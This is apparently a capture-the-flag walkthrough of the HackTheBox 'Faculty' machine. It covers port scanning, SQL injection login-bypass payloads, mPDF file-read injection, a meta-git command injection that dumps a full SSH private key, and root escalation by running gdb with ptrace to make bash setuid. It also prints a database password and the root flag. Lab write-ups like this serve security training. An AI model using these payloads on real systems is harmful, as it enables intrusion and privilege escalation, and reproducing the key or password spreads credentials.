Information Gathering
NMAP
command used: ( scanning for all the ports fast and efficient)
sudo nmap -p- -sS --min-rate 5000 --open -T5 -vvv -Pn 10.10.11.169 -oG nmap/allPorts
command used: ( scanning the ports we got )
nmap -A -sC -sV -p
-> All ports scan:
Not shown: 64628 closed tcp ports (reset), 905 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
-> All ports scan with flags:
Nmap scan report for 10.10.11.169
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Services
TCP 22 ( Default port for SSH )
-> SSH package version - Might be able to find the OS and version.
-> SSH key fingerprint - Has the key been re-used somewhere (Another machine? Same machine, just another port/service?)
-> SSH banner - Any text (if at all) before the password prompt (often get legal warnings about connecting to it)
-> SSH package version:
nc -vn 10.10.11.169 22
- output:
└─$ nc -nv 10.10.11.169 22 (UNKNOWN) [10.10.11.169] 22 (ssh) open
-> SSH key fingerprint:
ssh root@10.10.11.169
- output:
└─$ ssh root@10.10.11.169 The authenticity of host '10.10.11.169 (10.10.11.169)' can't be established. RSA key fingerprint is SHA256:75SZkY5Vi8mgCNwavHQo2t6I3P1O/5SUAthmAWKBQOw. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
TCP 80 ( Default port for HTTP )
-> Web Server:
└─$ curl -i http://10.10.11.169 | head -n 50
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 27 Sep 2022 11:14:40 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://faculty.htb
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
We can see that it’s redirecting us to http://faculty.htb so let’s add faculty.htb to our /etc/hosts
Now if we try to curl we will get:
└─$ curl -i http://faculty.htb | head -n 50
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 27 Sep 2022 11:15:51 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: PHPSESSID=92joh5n3i9h2ce47fqnqti2n8r; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: login.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<title>School Faculty Scheduling System</title>
Web Server:
-> Directory Listing:
gobuster dir -u http://faculty.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-> output:
└─$ gobuster dir -u http://faculty.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://faculty.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/27 07:17:52 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 178] [--> http://faculty.htb/admin/]
-> /admin enumeration:
We are being prompted with a login page made in PHP
So in this case we will try to use some basic SQL Injection payloads in order to bypass the login page.
The most used are:
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
After using one of the payloads we will see that we are indeed successfully in.
Now after some research and looking on the page, we can see that in the Faculty List we can add / download pdf’s.
When intercepting the request in Burpsuite, we can see that the pdf parameter contains a very big and strange base64 string
After decoding it we can see some strange html so let’s copy it and beautify it using some online html beautifiers.
This is the exact same thing we had on the website.
Maybe we can inject some html code that will allow us to extract files and pages.
Looking at the url path we can see that it’s using mpdf
So after some research we found that we can inject some html code into the pdf document that was generated by mPDF.
Source: https://github.com/mpdf/mpdf/issues/356
We will use CyberChef to encode our payloads for easier use
So now intercept the request, replace it with our payload and forward it.
After doing that, download the pdf and open it with some PDF Viewer
We can see that the payload it’s successfully working.
└─$ cat etc_passwd.txt| grep -i "sh$" --color=auto
root:x:0:0:root:/root:/bin/bash
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash
Now that we can extract files we will need to find a file that will allow us to do that.
We have 2 options here: 1 is to use the sql vulnerability that we found in the login page to find some paths or use the Faculty Scheduling System in order to do that
I used the 2nd option and found the absolute path to the application.
Now with that in mind we can extract the admin_class.php and maybe find something interesting
After downloading the /var/www/scheduling/admin/admin_class.php we found a db file:
<?php
session_start();
ini_set('display_errors', 1);
Class Action {
private $db;
public function __construct() {
ob_start();
include 'db_connect.php';
Inside the db_connect.php we had some credentials. Remembering the /etc/passwd we tried the credentials for the 2 users that we had: developer and gbyolo.
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
When we tried to connect with the user gbyolo we got a successfull hit
Privilege Escalation
Information Gathering ( Operating System )
-bash-5.0$ cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.4 LTS"
NAME="Ubuntu"
VERSION="20.04.4 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.4 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
-> sudo -l:
-bash-5.0$ sudo -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
Looking for a privilage escalation vector for meta-git we found out that we could do some command injection due to improper input handling: https://github.com/mateodelnorte/meta-git/blob/master/lib/metaGitUpdate.js#L49
Payload:
gbyolo@faculty:/$ sudo -u developer meta-git clone 'poc | cat ~/.ssh/id_rsa'
meta git cloning into 'poc | cat ~/.ssh/id_rsa' at id_rsa
id_rsa:
fatal: repository 'poc' does not exist
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Connecting to the user developer we can see that it’s in some strange debug group
When I looked for files that the groups debug owned, I found:
-bash-5.0$ find / -group debug 2>/dev/null
/usr/bin/gdb
So this will be our way to priv esc to root:
developer@faculty:~$ ls -l $(which gdb)
-rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb
developer@faculty:~$ getcap $(which gdb)
/usr/bin/gdb = cap_sys_ptrace+ep
cap_sys_ptrace+ep means that you can escape the container by injecting a shellcode inside some process running inside the host.
To exploit this, we need to find a process that runs as root and attach the gdb instance to that specific process
-bash-5.0$ ps -aux | grep -i root | grep python3
root 728 0.0 0.9 26896 18140 ? Ss 06:04 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
-bash-5.0$ gdb -p 728
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
(gdb) call (void)system("chmod u+s /bin/bash")
[Detaching after vfork from child process 58692]
(gdb) quit
A debugging session is active.
Inferior 1 [process 728] will be detached.
-bash-5.0$ bash -p
bash-5.0# id
uid=1001(developer) gid=1002(developer) euid=0(root) groups=1002(developer),1001(debug),1003(faculty)
bash-5.0# cat /root/root.txt
98179f742f66af3cd43521213fbacf83